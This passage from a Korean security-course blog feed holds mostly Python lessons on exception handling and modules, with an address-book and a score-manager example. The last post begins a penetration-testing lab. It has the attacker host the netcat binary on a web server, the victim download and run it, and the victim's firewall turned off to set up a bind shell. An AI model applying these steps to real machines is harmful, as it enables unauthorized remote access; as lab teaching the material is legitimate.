- 관리자 IP주소(로컬에 존재)에 대해서 반드시 MAC주소하고 같이 설정해야 한다.</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[파이썬 7강 네트워크 통신 프로그램, 파이썬 8강 모듈/예외처리 (교육 74일차)]]></title>
            <link>https://velog.io/@security_code/%ED%8C%8C%EC%9D%B4%EC%8D%AC-7%EA%B0%95-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%86%B5%EC%8B%A0-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%ED%8C%8C%EC%9D%B4%EC%8D%AC-8%EA%B0%95-%EB%AA%A8%EB%93%88%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC</link>
            <guid>https://velog.io/@security_code/%ED%8C%8C%EC%9D%B4%EC%8D%AC-7%EA%B0%95-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%ED%86%B5%EC%8B%A0-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%ED%8C%8C%EC%9D%B4%EC%8D%AC-8%EA%B0%95-%EB%AA%A8%EB%93%88%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC</guid>
            <pubDate>Sun, 12 Mar 2023 13:22:44 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/security_code/post/8a966774-9582-4db5-b1de-6864b7ebe7eb/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/d3bf1ab1-5bba-4d17-a9e1-e246e554870f/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b635b918-b3d3-4dab-a54c-6a61c5a5ade4/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/71d16ef7-55f6-4c9a-a94b-f00906188ea4/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/4e15d05b-bdd3-4dc4-9fa8-f5251dde420c/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/e8eb6130-3438-4050-a261-a3e2c934c30e/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/021005b2-39b6-40e8-a17a-1bd89d6d8cdc/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/1120757e-9eb9-44e8-943f-e8f85b657365/image.png" alt=""></p>
<pre><code>파일명 : day08.txt

전체 학습 목표 : 
1. 예외처리의 개념을 파악하고 적용할 수 있다.
2. 모듈의 개념을 파악하고 적용할 수 있다.

학습 목표 : 
1. 예외처리의 개념을 파악하고 적용할 수 있다.

#############
## 예외 처리
#############
예외란 프로그램이 정상적으로 실행하다가 어떤 원인에 의해서 오작동이 발생되는 에러를 말한다.
예외처리는 이런 에러들이 발생되서 문제가 발생되는 것을 방지하는 기법이다.

!!! 중요 !!!
파이썬에서 실행중에 에러가 발생되면 실행중인 프로세스는 즉시 종료되므로 
이런 예외들이 발생할 때 에러를 우회하는 예외처리 기법을 이용해서 프로그래밍해야 한다.

형식 :
try :
    실행문1
except :
    실행문2
else:         &lt;-- 생략 가능
    실행문3 
finally:      &lt;-- 생략 가능
    실행문4


형식 :
try :
    실행문1
except 발생된에러 :
    실행문2
except 발생된에러 :
    실행문3
except 발생된에러 :
    실행문4
else:         &lt;-- 생략 가능
    실행문5 
finally:      &lt;-- 생략 가능
    실행문4

형식 :
try :
    실행문1
except 발생된에러 as 에러변수 :
    실행문2
except 발생된에러 as 에러변수 :
    실행문3
except 발생된에러 as 에러변수 :
    실행문4
else:         &lt;-- 생략 가능
    실행문5 
finally:      &lt;-- 생략 가능
    실행문4

-- 예외1.py --
&quot;&quot;&quot;
파일명 : 예외1.py
프로그램 설명 : 예외처리
&quot;&quot;&quot;

#a = []
a = list()
print(a, type(a))  # [] &lt;class &#39;list&#39;&gt;

a.append(1)
a.append(2)
# a.append(3)
print(a[0])  # 1
print(a[1])  # 2

try :
    # 자동차 펑크
    print(a[2])  # 3 IndexError: list index out of range
except:
    # 타이어 교체
    print(&#39;예외가 발생했습니다.&#39;)
else:
    print(&#39;예외가 발생되지 않았습니다.&#39;)
finally:
    print(&#39;이 부분은 finally 부분입니다.&#39;)

print(&#39;프로그램 종료&#39;)
-- 예외1.py --

-- 예외1-1.py --
#!/usr/bin/env python3

import sys

try:
    host = sys.argv[1]
except:
    print(f&quot;usage: {sys.argv[0]} &lt;host&gt;&quot;)
    exit(2)

print(&quot;프로그램 종료&quot;)
-- 예외1-1.py --

# chmod 755 예외1-1.py 
# ./예외1-1.py 
usage: ./exceptTest.py &lt;host&gt;

# ./예외1-1.py 200.200.200.6
프로그램 종료



형식 :
try :
    실행문1
except 발생된에러 :
    실행문2
else:
    실행문3 
finally: 
    실행문4
-- 예외2.py --
&quot;&quot;&quot;
파일명 : 예외2.py
프로그램 설명 : 예외처리
&quot;&quot;&quot;

filename = &quot;예외2.txt&quot;
try:
    f = open(filename, &#39;r&#39;, encoding=&#39;utf8&#39;)  # FileNotFoundError: 
except FileNotFoundError:
    print(&#39;FileNotFoundError!&#39;)
except PermissionError:   
    print(&#39;PermissionError!&#39;) 
else:
    print(f.read())
    f.close()
print(&#39;프로그램 종료&#39;)
-- 예외2.py --


형식 :
try :
    실행문1
except 발생된에러 as 에러변수 :
    실행문2
except 발생된에러 as 에러변수 :
    실행문3
except 발생된에러 as 에러변수 :
    실행문4
else:
    실행문5 
finally: 
    실행문4

-- 예외3.py --
&quot;&quot;&quot;
파일명 : 예외3.py
프로그램 설명 : 예외처리
&quot;&quot;&quot;

filename = &quot;예외2.txt&quot;
try:
    f = open(filename, &#39;r&#39;, encoding=&#39;utf8&#39;)  # FileNotFoundError: 

# e 변수에 에러에 관련된 값이 저장되어 있고 그 값을 출력하는 것이다.
except FileNotFoundError as e:
    print(e)
except PermissionError as e:   
    print(e) 
else:
    print(f.read())
    f.close()
print(&#39;프로그램 종료&#39;)
-- 예외3.py --

프로그램에서 프로그래머가 직접 예외를 발생시키는 경우에는 raise 를 사용한다.
형식 : 

def 함수명():
    raise 예외값

try :
    함수명()
except 예외값:
    실행문

-- 예외4.py --
&quot;&quot;&quot;
파일명 : 예외4.py
프로그램 설명 : 예외처리
&quot;&quot;&quot;

def myfunction():
    print(&quot;myfunction() 실행!&quot;)
    raise ValueError

try:
    myfunction()
except ValueError:
    print(&#39;ValueError 가 발생!&#39;)

print(&#39;프로그램 종료&#39;)       

-- 예외4.py --


예외처리가 된 addressbook.py 전체 소스 코드
-- addressbook.py --
&quot;&quot;&quot;
파일명 : addressbook.py
프로그램 설명 : 주소록 관리 프로그램
&quot;&quot;&quot;

import os 
import getpass
import time

filename1 = &quot;addressbook.txt&quot;      # 주소록 원본 파일
filename2 = &quot;addressbook.txt.tmp&quot;  # 주소록 임시 파일
userid1 = &quot;python&quot;                 # 로그인 아이디
userpw1 = &quot;111111&quot;                 # 로그인 비밀번호
sec = 2                            # 로그인 성공 시 기다리는 시간
loginCount = 3                     # 로그인 횟수

# 1. 주소록 로그인
def loginAddr():
    &quot;&quot;&quot;주소록 로그인&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 주소록 로그인 &lt;&lt;&lt;&#39;)
    # 하드코딩된 사용자 : userid1
    # 하드코딩된 비밀번호 : userpw1
    # 입력받는 사용자 : userid2
    # 입력받는 비밀번호 : userpw2
    # 사용자 &amp; 비밀번호를 입력받는다.
    userid2 = input(&#39;사용자 : &#39;)
    userpw2 = getpass.getpass(&#39;비밀번호 : &#39;)

    # 입력한 사용자&amp;비번과 하드코딩으로 세팅된 사용자&amp;비번와 비교한다.
    if userid1 == userid2 and userpw1 == userpw2 :
        # 맞으면 
        print(&#39;로그인 성공!&#39;)
        print(f&#39;{userid2}님 환영합니다!&#39;)

        time.sleep(sec)
        return True   #   주소록 프로그램을 실행시킨다.

    # 틀리면
    else:
        print(&#39;로그인 실패!&#39;)
        print(&#39;아이디와 비밀번호를 확인해주세요!&#39;)
        return False  #   프로그램을 종료한다.


# 2. 사용자 추가
def addAddr():
    &quot;&quot;&quot;사용자 추가&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 사용자 추가 &lt;&lt;&lt;&#39;)

    # 사용자 정보를 입력하는 부분
    name  = input(&#39;이름 : &#39;)
    phone = input(&#39;전화번호 : &#39;)
    email = input(&#39;이메일 : &#39;)

    yesno = input(&#39;입력한 내용을 저장하겠습니까 ? (y/n  y or Enter:저장) : &#39;)

    # if yesno == &#39;y&#39; or yesno == &#39;Y&#39; or yesno == &#39;&#39;:
    if yesno in (&#39;y&#39;, &#39;Y&#39;, &#39;&#39;):
        # 주소록 파일에 사용자 정보를 저장하는 부분
        try:
            with open(filename1, &#39;a&#39;, encoding=&#39;utf8&#39;) as f : # 파일 열기
                f.write(f&#39;{name}\t{phone}\t{email}\n&#39;)  # 파일 쓰기
        except:
            print(&#39;파일 저장에 예외가 발생했습니다.&#39;)   
        else:
            print(f&#39;{name} 사용자를 추가했습니다.&#39;)
    else:
        print(f&#39;{name} 사용자 저장을 취소했습니다.&#39;)

# 3. 사용자 확인
def viewAddr():
    &quot;&quot;&quot;사용자 확인&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 사용자 확인 &lt;&lt;&lt;&#39;)
    try:
        # 주소록 파일에서 사용자 정보를 읽어서 화면에 출력하는 부분
        with open(filename1, &#39;r&#39;, encoding=&#39;utf8&#39;) as f : # 파일 열기
            print(f.read())  # 파일 읽기
    # except FileNotFoundError as e:
    #    print(e)
    except FileNotFoundError:
        print(&#39;사용자를 먼저 추가해야 됩니다.&#39;)

# 4. 사용자 검색
def searchAddr():
    &quot;&quot;&quot;사용자 검색&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 사용자 검색 &lt;&lt;&lt;&#39;)    

    foundUser = 0  # 1: 사용자가 존재하면,  0: 사용자가 존재하지 않다면
    name = input(&#39;사용자 : &#39;)

    try:
        with open(filename1, &#39;r&#39;, encoding=&#39;utf8&#39;) as f:

            while True:
                user = f.readline()  # 한 줄을 읽어서 user변수에 저장한다.
                # 파일의 끝까지 가면 f.readline()으로 읽으면 값이 없으므로 
                # user 변수에 값이 없음(NULL)을 알 수 있다.           
                # if user == &#39;&#39;:
                if not user:   # 파일의 끝이면
                    break      # 파일 읽는 것을 중지한다.

                searchName = user.split(&#39;\t&#39;)

                # if name in user:  # 사용자가 검색되면
                if name == searchName[0] :  # 사용자가 검색되면
                    print(user, end=&#39;&#39;)  # 사용자를 출력한다. (엔터제거)
                    foundUser = 1

        if foundUser == 0:
            print(name + &#39; 사용자가 없습니다.&#39;)
    except FileNotFoundError:
        print(&#39;사용자를 먼저 추가해야 합니다.&#39;)

# 5. 사용자 삭제
def deleteAddr():
    &quot;&quot;&quot;사용자 삭제&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 사용자 삭제 &lt;&lt;&lt;&#39;)    

    foundUser = 0  # 1: 사용자가 존재하면,  0: 사용자가 존재하지 않다면
    name = input(&#39;사용자 : &#39;)

    yesno = input(&#39;입력한 사용자를 삭제하겠습니까? (y/n default y) : &#39;)
    if yesno in (&#39;y&#39;, &#39;Y&#39;, &#39;&#39;) :   # 삭제를 선택하면

        try:
            # 원본 파일 : 읽기 전용
            # 복사본 파일 : 쓰기 전용
            with open(filename1, &#39;r&#39;, encoding=&#39;utf8&#39;) as f:
                with open(filename2, &#39;w&#39;, encoding=&#39;utf8&#39;) as f2:

                    while True:
                        user = f.readline()  # 한 줄을 읽어서 user변수에 저장한다.
                        # 파일의 끝까지 가면 f.readline()으로 읽으면 값이 없으므로 
                        # user 변수에 값이 없음(NULL)을 알 수 있다.           
                        # if user == &#39;&#39;:
                        if not user:   # 파일의 끝이면
                            break      # 파일 읽는 것을 중지한다.

                        searchName = user.split(&#39;\t&#39;)

                        # 사용자 검색 성공 : 임시 파일에 사용자를 복사하지 않는다.
                        # 사용자 검색 실패 : 임시 파일에 사용자를 복사한다.
                        # if name in user:  # 사용자가 검색되면
                        if name == searchName[0] :  # 사용자가 검색되면
                            foundUser = 1           # 사용자를 찾으면 표시한다.
                        else:                       # 사용자를 검색하지 못했다면                    
                            f2.write(user)          # 임시 파일로 복사한다.

            # https://docs.python.org/ko/3/library/os.html?highlight=os%20rename#os.rename
            # 파일 삭제 : os.remove(파일명)
            # 파일 이름 변경 : os.rename(원본파일명, 변경할파일명)
            # 사용자 검색에 실패했으면                        
            if foundUser == 0:
                os.remove(filename2)  # 임시 파일 삭제
                print(name + &#39; 사용자가 없습니다.&#39;)
            else:
                os.remove(filename1)  # 원본 파일 삭제
                os.rename(filename2, filename1)  # 임시파일 원본파일로 이름을 변경
                print(name + &#39; 사용자를 삭제했습니다.&#39;)
        except FileNotFoundError:
            print(&#39;사용자를 먼저 추가해야 합니다.&#39;)                
    else:
        print(&#39;사용자 삭제를 취소했습니다.&#39;)

# 6. 주소록 도움말
def helpAddr():
    &quot;&quot;&quot;도움말&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 주소록 도움말 &lt;&lt;&lt;&#39;)    

    helpMsg  = &quot;사용자 추가 : 사용자를 등록하는 기능\n&quot;
    helpMsg += &quot;사용자 확인 : 사용자를 출력하는 기능\n&quot;
    helpMsg += &quot;사용자 검색 : 사용자를 검색하는 기능\n&quot;
    helpMsg += &quot;사용자 삭제 : 사용자를 삭제하는 기능\n&quot;
    helpMsg += &quot;\n&quot;
    helpMsg += &quot;프로그램 제작 : 홍길동(hong@naver.com)\n&quot;

    print(helpMsg)

# 7. 프로그램 정보
def aboutAddr():
    &quot;&quot;&quot;프로그램 정보&quot;&quot;&quot;
    print(&#39;&gt;&gt;&gt; 프로그램 정보 &lt;&lt;&lt;&#39;)

    aboutMsg  = &quot;주소록 프로그램\n&quot;
    aboutMsg += &quot;버전 : 0.1\n&quot;
    aboutMsg += &quot;프로그램 제작 : 홍길동(hong@naver.com)\n&quot;

    print(aboutMsg)

# 8. 메뉴
def menuAddr():
    &quot;&quot;&quot;주소록 프로그램 메뉴&quot;&quot;&quot;

    menu  = &#39;1. 사용자 추가\n&#39;
    menu += &#39;2. 사용자 확인\n&#39;
    menu += &#39;3. 사용자 검색\n&#39;
    menu += &#39;4. 사용자 삭제\n&#39;
    menu += &#39;5. 프로그램 도움말\n&#39;
    menu += &#39;6. 프로그램 정보\n&#39;
    menu += &#39;q. 프로그램 종료\n&#39;

    return menu


# 9. 메인
# main 함수
def main():
    &quot;&quot;&quot;main&quot;&quot;&quot;

    i = 1
    while i &lt;= loginCount: 
        if loginAddr():  # 로그인 체크
           break
        i += 1
    else:
        print(&#39;프로그램 종료&#39;)
        exit()

    while True:
        os.system(&#39;cls&#39;)  # 화면 지우기
        print(menuAddr())  # 메뉴 출력
        x = input(&#39;선택 &gt;&gt;&gt; &#39;)  # 메뉴 입력

        # 메뉴 체크
        if   x == &#39;1&#39; :  # 사용자 추가
            addAddr()
        elif x == &#39;2&#39; :  # 사용자 확인
            viewAddr()    
        elif x == &#39;3&#39; :  # 사용자 검색
            searchAddr()
        elif x == &#39;4&#39; :  # 사용자 삭제
            deleteAddr()
        elif x == &#39;5&#39; :  # 프로그램 도움말
            helpAddr()
        elif x == &#39;6&#39; :  # 프로그램 정보
            aboutAddr()
        elif x == &#39;q&#39; :  # 프로그램 종료
            print(&#39;주소록 프로그램을 종료합니다.&#39;)
            quit()
        else:            # 그외의 모든 값
            print(&#39;1 ~ 6 or q중에서 입력해야 합니다.&#39;)

        input()

main()
-- addressbook.py --


학습 목표 : 
2. 모듈의 개념을 파악하고 적용할 수 있다.


##########
## 모듈
##########

변수, 명령어 &lt; 함수 (함수) &lt; 클래스 &lt; 모듈 &lt; 패키지

모듈이란 함수나 변수 또는 클래스들을 모아놓은 파일이다.
모듈은 다른 파이썬 프로그램에서 불러와서 사용할 수 있게끔 만들어진 파이썬 파일이다.
모듈은 하나의 파이썬 파일이다.
모듈을 불러들일 때는 import 예약어를 사용한다.
import 할 모듈의 이름은 확장자 .py 가 제거된 파일명만 사용한다.
import 는 현재 디렉토리나 파이썬 라이브러리가 저장된 디렉토리에 있는 모듈만 불러온다.
파이썬 라이브러리 디렉토리를 확인하기 위해서는 sys.path를 확인하면 된다.
모듈 디렉토리는 설정은 환경변수 PYTHONPATH 를 사용한다.
모듈이 불려지면 컴파일된 모듈명.pyc 파일이 생성된다.


-- modulePath.py --
&quot;&quot;&quot;
파일명 : modulePath.py
프로그램 설명 : 모듈 디렉터리 확인
&quot;&quot;&quot;

import sys
print(sys.path)
-- modulePath.py --


--  moduleA.py --
&quot;&quot;&quot;
파일명 : moduleA.py
프로그램 설명 : 모듈 테스트
&quot;&quot;&quot;

def printA():
    a = 1
    print(a)

def printB():
    b = 2
    print(b)

# printA()
#printB()

# 직접 이 파일을 실행 : __main__
# 간접 이 파일을 실행 : moduleA
# print(__name__)  

if __name__ == &#39;__main__&#39;:
    printA()  # 1
    printB()  # 2
--  moduleA.py --


-- moduleATest.py --
&quot;&quot;&quot;
파일명 : moduleATest.py
프로그램 설명 : 모듈 테스트
&quot;&quot;&quot;

# 1. 모듈을 불러들인다.
# 형식 : import 모듈명
import moduleA  # moduleA.py를 의미한다.

# 2. 모듈에 있는 함수를 호출(실행) 한다.
# 형식 : 모듈명.함수명()
# 형식 : 모듈명.변수명
# . 은 ~의라고 읽으면 된다.
moduleA.printA() 
moduleA.printB()
-- moduleATest.py --


모듈을 사용하는 방법
1. 모듈을 생성한다.
모듈은 파이썬파일과 동일하고 주로 이 안에는 단독으로 사용하는 것은 없어야 하고 
만약 사용하고 싶다면 아래처럼 if문으로 사용해야 한다.
if __name__ == &#39;__main__&#39;:
    함수()

그리고 주로 변수, 함수, 클래스로 만든다.

2. 파이썬 파일에서 모듈을 가져온다.
import 모듈명   &lt;-- .py는 생략한다.
from 모듈명 import 모듈함수
from 모듈명 import *

3. 모듈에 있는 함수, 클래스를 사용한다.
import 모듈명
가능 : 모듈명.함수명()
가능 : 모듈명.클래스명()
불가능 : 함수명() 사용할 수 없다.
불가능 : 클래스명() 사용할 수 없다.

from 모듈명 import 모듈함수
가능 : 모듈함수()
가능 : 클래스명()
불가능 : 모듈명.함수명() 사용할 수 없다.
불가능 : 모듈명.클래스명() 사용할 수 없다.

-- mod1.py --
&quot;&quot;&quot;
파일명 : mod1.py
프로그램 설명 : 첫 번째 모듈 테스트
&quot;&quot;&quot;

# 1. 모듈을 생성한다.
# 1. 함수 정의
def plus(a, b):
    print(&quot;plus() 함수 실행!!!&quot;)
    return a + b

def minus(a, b):
    print(&quot;minus() 함수 실행!!!&quot;)    
    return a - b

# __name__ : 파이썬에서 미리 저장된 변수명이고 그 값은 __main__ 값을 갖는다.
# 단독으로 파일을 실행할 경우에는 __main__ 이 출력이 된다.
# 모듈형태로 불러들었을 경우에는 mod1 이 출력이 된다.
# print(__name__)  # __main__
if __name__ == &quot;__main__&quot;:
    print(plus(10, 20))    
    print(plus(10, 20) + 3)
    print(max(plus(10, 20), 35))
-- mod1.py --

-- mod1Test.py --
&quot;&quot;&quot;
파일명 : mod1Test.py
프로그램 설명 : mod1.py 를 모듈로 import해서 사용하는 예제
&quot;&quot;&quot;

# 2. 파이썬 파일에서 모듈을 가져온다.
import mod1  # mod1.py에서 .py는 생략

# 3. 모듈에 정의된 함수를 사용한다.
# plus(3,5) X
# minus(5,3) X
print(mod1.plus(3,5))   # 8
print(mod1.minus(5,3))  # 2
-- mod1Test.py --

-- mod2.py --
&quot;&quot;&quot;
파일명 : mod2.py 
프로그램 설명 : 모듈 테스트
&quot;&quot;&quot;

def function1():
    print(&quot;function1() 함수 실행!!!&quot;)

def function2():
    print(&quot;function2() 함수 실행!!!&quot;)

def function3():
    print(&quot;function3() 함수 실행!!!&quot;)

if __name__ == &#39;__main__&#39;:
    function1()
    function2()
    function3()       
-- mod2.py --

-- mod2test.py --
&quot;&quot;&quot;
파일명 : mod2test.py
프로그램 설명 : mod2.py 를 모듈로 import해서 사용하는 예제
&quot;&quot;&quot;

# import mod2

# mod2.function1()  # import mod2를 했을 때 사용 가능
# mod2.function2()  # import mod2를 했을 때 사용 가능
# mod2.function3()  # import mod2를 했을 때 사용 가능

# 모듈명을 from 으로 불러들이는 형식 :
# from 모듈명 import 모듈함수
# 모듈함수 : 함수명, *
# 
# from으로 모듈을 불러들여서 사용하는 형식:
# 모듈이 생략되고 함수명()만 사용한다.

from mod2 import function1
function1()  # from mod2 import function1 사용 가능
# function2()  # from mod2 import function2 사용 불가능
# function3()  # from mod2 import function3 사용 불가능
# mod2.function1() # 사용 불가능
-- mod2test.py --

-- mod3test.py --
&quot;&quot;&quot;
파일명 : mod3test.py
프로그램 설명 : mod2.py 를 모듈로 import해서 사용하는 예제
&quot;&quot;&quot;

# mod2 모듈의 모든 함수를 사용할 때 *을 사용한다.
# from mod2 import *
# function1()  # from mod2 import * 했을 때 사용 가능
# function2()  # from mod2 import * 했을 때 사용 가능
# function3()  # from mod2 import * 했을 때 사용 가능

# mod2 모듈에서 function2(), function3()만 사용하고 싶을 때
from mod2 import function2, function3
#function1()  # from mod2 import * 했을 때 사용 뷸가능
function2()  # from mod2 import * 했을 때 사용 가능
function3()  # from mod2 import * 했을 때 사용 가능
-- mod3test.py --

-- mod4test.py --
&quot;&quot;&quot;
파일명 : mod4test.py
프로그램 설명 : mod2.py 를 모듈로 import해서 사용하는 예제
&quot;&quot;&quot;

# from 으로 모듈을 불러들이면 이름 충돌에 주의해야 한다.
# 참고 : 
# C++ 같은 언어에서는 함수명의 충돌을 방지하기 위해서 
# 네임스페이스(이름공간)라는 것을 사용한다.

# 주의 from 으로 모듈을 불러들일 경우에는 주의점은 
# __main__ 에 같은 함수가 존재하면 충돌이 나므로 특별한 경우가 아니라면
# import 모듈명  &lt;-- 사용해서 모듈명.함수명() 사용하는 것을 추천한다.

from mod2 import *

def function1():
    print(&quot;^^&quot;) 

# from mod2 import *
function1()  # ^^
function2()  # function2() 함수 실행!!!
-- mod4test.py --

-- mod5.py --
&quot;&quot;&quot;
파일명 : mod5.py
프로그램 설명 : 클래스 정의 파일 예제
&quot;&quot;&quot;

class Test :
    def function1(self):
        print(&quot;인스턴스 function1() 실행!!!&quot;)

    def function2(self):
        print(&quot;인스턴스 function2() 실행!!!&quot;)

if __name__ == &#39;__main__&#39; :
    myObj = Test()
    myObj.function1()
    myObj.function2()
-- mod5.py --


-- mod5Test.py --
&quot;&quot;&quot;
파일명 : mod5Test.py
프로그램 설명 : mod5.py 를 모듈로 import해서 사용하는 예제
&quot;&quot;&quot;

# import 로 모듈을 사용하는 경우
# import mod5
# # mod5.function1() # 사용 불가능, 이유는 클래스이므로 ...

# # mod5.py의 Test 클래스의 인스턴스를 생성한다.
# testObj = mod5.Test() 
# testObj.function1()
# testObj.function2()

# from으로 모듈을 사용하는 경우
from mod5 import Test
testObj = Test() 
testObj.function1()
testObj.function2()
-- mod5test.py --

-- 점수관리프로그램2.py --
&quot;&quot;&quot;
파일명 : 점수관리프로그램2.py
프로그램 설명 : 점수 관리 프로그램
작성자 : 파이썬마스터
작성일 : 2021.8.28
&quot;&quot;&quot;

import os

class Jumsu:

    def __init__(self):
        &quot;&quot;&quot;생성자&quot;&quot;&quot;
        self.filename = &#39;점수관리프로그램.txt&#39;

    def jumsuAdd(self):
        &quot;&quot;&quot;점수 추가&quot;&quot;&quot;

        # 1. 점수 입력
        print(&quot;점수를 입력하세요.&quot;)
        kor  = input(&quot;국어 점수 : &quot;)
        eng  = input(&quot;영어 점수 : &quot;)
        math = input(&quot;수학 점수 : &quot;)

        # 2. 점수 체크
        kor  = int(kor)  # if kor.isdigit()  else 0
        eng  = int(eng)  # if eng.isdigit()  else 0
        math = int(math) # if math.isdigit() else 0

        # 3. 점수 계산
        total = kor + eng + math  # 총점 
        #total = sum([kor, eng, math])  # 총점  
        average = total / 3  # 평균 

        # 4. 점수 출력
        print(&quot;\n===== 점수의 결과 =====\n&quot;
            f&quot;국어 점수 : {kor}\n&quot;
            f&quot;영어 점수 : {eng}\n&quot;
            f&quot;수학 점수 : {math}\n&quot;
            f&quot;총점 : {total}\n&quot;
            f&quot;평균 : {average:.2f}\n&quot;
            &quot;===== 점수의 결과 =====&quot;)

        # 5. 파일 저장

        with open(self.filename, &#39;a&#39;, encoding=&#39;utf8&#39;) as f:
            f.write(&quot;===== 점수의 결과 =====\n&quot;
                f&quot;국어 점수 : {kor}\n&quot;
                f&quot;영어 점수 : {eng}\n&quot;
                f&quot;수학 점수 : {math}\n&quot;
                f&quot;총점 : {total}\n&quot;
                f&quot;평균 : {average:.2f}\n&quot;
                &quot;===== 점수의 결과 =====\n\n&quot;)

        print(f&#39;{self.filename} 파일로 점수를 저장했습니다.&#39;)
        print(&#39;엔터키를 누르세요...&#39;)
        input()

    def jumsuView(self):
        &quot;&quot;&quot;점수 확인&quot;&quot;&quot;

        try:
            # 점수 파일 읽기
            with open(self.filename, &#39;r&#39;, encoding=&#39;utf8&#39;) as f:
                print(f.read())
        except:
            print(&#39;먼저 점수를 추가해야 됩니다.&#39;)

        print(&#39;엔터키를 누르세요...&#39;)
        input()

    def jumsuMenu(self):
        &quot;&quot;&quot;메뉴&quot;&quot;&quot;
        menu  = &#39;&gt;&gt;&gt; 점수 관리 프로그램 &lt;&lt;&lt;\n&#39;
        menu += &#39;1. 점수 추가\n&#39;
        menu += &#39;2. 점수 확인\n&#39;
        menu += &#39;q. 프로그램 종료&#39;

        print(menu)

    def main(self):
        &quot;&quot;&quot;main 함수&quot;&quot;&quot;

        while True:

            os.system(&#39;cls&#39;)  # 화면 지우기

            self.jumsuMenu()
            x = input(&#39;선택 &gt;&gt;&gt; &#39;)  # 메뉴 입력

            # 메뉴 체크
            if   x == &#39;1&#39; :
                self.jumsuAdd()
            elif x == &#39;2&#39; :
                self.jumsuView()
            elif x == &#39;q&#39; : 
                break
            else:
                print(&#39;1, 2, q 중에서 입력하세요.&#39;)

if __name__ == &#39;__main__&#39;:
    jumsu = Jumsu()
    jumsu.main()
    print(&#39;점수 관리 프로그램을 종료합니다.&#39;)    
-- 점수관리프로그램2.py --

-- mod5Test.py --
# 점수관리프로그램_class.py 를 불러들여서 실행시킨다.

# 점수관리프로그램_class.py 를 불러들여서
# 실행시킨다.

# import 점수관리프로그램_class as a
# jumsu = a.Jumsu()
# jumsu.main()

from 점수관리프로그램_class import Jumsu as J
jumsu = J()
jumsu.main()

-- mod5Test.py --

-- mod6Test.py --
&quot;&quot;&quot;
파일명 : mod6Test.py
프로그램 설명 : 점수 관리 프로그램을 모듈로 가져오는 예제
&quot;&quot;&quot;

# 모듈을 별명을 지정해서 사용할 때 
# 형식 : 
# import 모듈명 as 별명
# from 모듈명 import 함수 as 별명
# from 모듈명 import 클래스 as 별명

# import 점수관리프로그램2 as jumsu
# myJumsu = jumsu.Jumsu()
# myJumsu.main()

from 점수관리프로그램2 import Jumsu as jumsu
myJumsu = jumsu()
myJumsu.main()
-- mod6Test.py --


파이썬 코드에서 다른 모듈을 불러오면 __pycache__ 디렉터리에 컴파일된 파일이 생성된다.
파일명 : 
mod1.py -&gt; mod1.cpython-311.pyc
mod2.py -&gt; mod2.cpython-311.pyc
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[모의해킹 - 5 (교육 74일차)]]></title>
            <link>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-bind-connection-reverse-connection-bind-shell-reverse-shell-wireshark-%EC%B7%A8%EC%95%BD%EC%A0%90-Adobe-Acrobat-Readerpdf-%EC%B7%A8%EC%95%BD%EC%A0%90-malware.exe-msfvenom%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%89%98%EC%BD%94%EB%93%9C-%EC%B6%94%EC%B6%9C-%EC%99%80%EC%9D%B4%EC%96%B4%EC%83%A4%ED%81%AC%EC%9D%98-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B3%B5%EA%B2%A9%EC%BD%94%EB%93%9C-%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC</link>
            <guid>https://velog.io/@security_code/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-bind-connection-reverse-connection-bind-shell-reverse-shell-wireshark-%EC%B7%A8%EC%95%BD%EC%A0%90-Adobe-Acrobat-Readerpdf-%EC%B7%A8%EC%95%BD%EC%A0%90-malware.exe-msfvenom%EC%9D%B4%EC%9A%A9%ED%95%9C-%EC%89%98%EC%BD%94%EB%93%9C-%EC%B6%94%EC%B6%9C-%EC%99%80%EC%9D%B4%EC%96%B4%EC%83%A4%ED%81%AC%EC%9D%98-%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B3%B5%EA%B2%A9%EC%BD%94%EB%93%9C-%EC%98%88%EC%99%B8%EC%B2%98%EB%A6%AC</guid>
            <pubDate>Sun, 12 Mar 2023 11:38:41 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; bind connection 이해하기</strong></p>
</blockquote>
<pre><code>bind connection 은 Victim에서 포트를 열고 Attacker가 Victim으로 접속하는 연결 방식이다.
bind connection 은 Victim에서 방화벽이 설정되어 있는 경우에는 접속이 불가능하다.

Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 없는 경우
  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |          |
|  51200 ----------------&gt; 8000  |
|          |          |          |
|          |          |          |
+----------+          +----------+
    .3                     .4
         200.200.200.0/24

bind connection 의 조건 : 
- Victim에 방화벽이 없어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 
- Attacker가 접속할 수 없는 상황이 된다.

1. Victim 방화벽 해제
firewall.cpl -&gt; 사용안함.

2. nc 다운로드
[root@kali ~]# cp /usr/share/windows-binaries/nc.exe /var/www/html/

http://200.200.200.3/nc.exe -&gt; 바탕화면에 저장 -&gt; 실행

